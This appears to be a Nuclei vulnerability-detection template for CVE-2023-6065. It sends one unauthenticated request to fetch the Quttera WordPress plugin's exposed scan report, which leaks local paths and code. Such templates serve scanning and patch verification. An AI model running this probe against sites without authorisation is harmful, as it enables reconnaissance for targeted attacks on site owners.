id: CVE-2023-6065

info:
  name: Quttera Web Malware Scanner <= 3.4.1.48 - Sensitive Data Exposure
  author: s4e-io
  severity: medium
  description: |
    The Quttera Web Malware Scanner WordPress plugin before 3.4.2.1 doesn't restrict access to detailed scan logs, which allows a malicious actor to discover local paths and portions of the site's code
  impact: |
    Unauthenticated attackers can access detailed scan logs revealing local file paths and portions of the site's source code, facilitating further targeted attacks.
  remediation: Fixed in 3.4.2.1
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6065
    - https://wpscan.com/vulnerability/64f2557f-c5e4-4779-9e28-911dfaf2dda5
    - https://wordpress.org/plugins/quttera-web-malware-scanner/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-6065
    epss-score: 0.18697
    epss-percentile: 0.96901
    cpe: cpe:2.3:a:quttera:quttera_web_malware_scanner:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: quttera
    product: quttera_web_malware_scanner
    framework: wordpress
  tags: cve,cve2023,wp-plugin,quttera,wpscan,wordpress,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/quttera-web-malware-scanner/quttera_wp_report.txt"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Website Malware Scan Report"
          - "Scanned Website"
          - "Scan type"
        condition: and

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a5812b6e9250e140746e07f7b2b4abc27f41e1c22fa766cbaaa0dc7da15c382402207d75a01a8e066283489c9b4ca0b5d6f869bb36232dcf5c016aa1c7d06386ec79:922c64590222798bb761d5b6d8e72950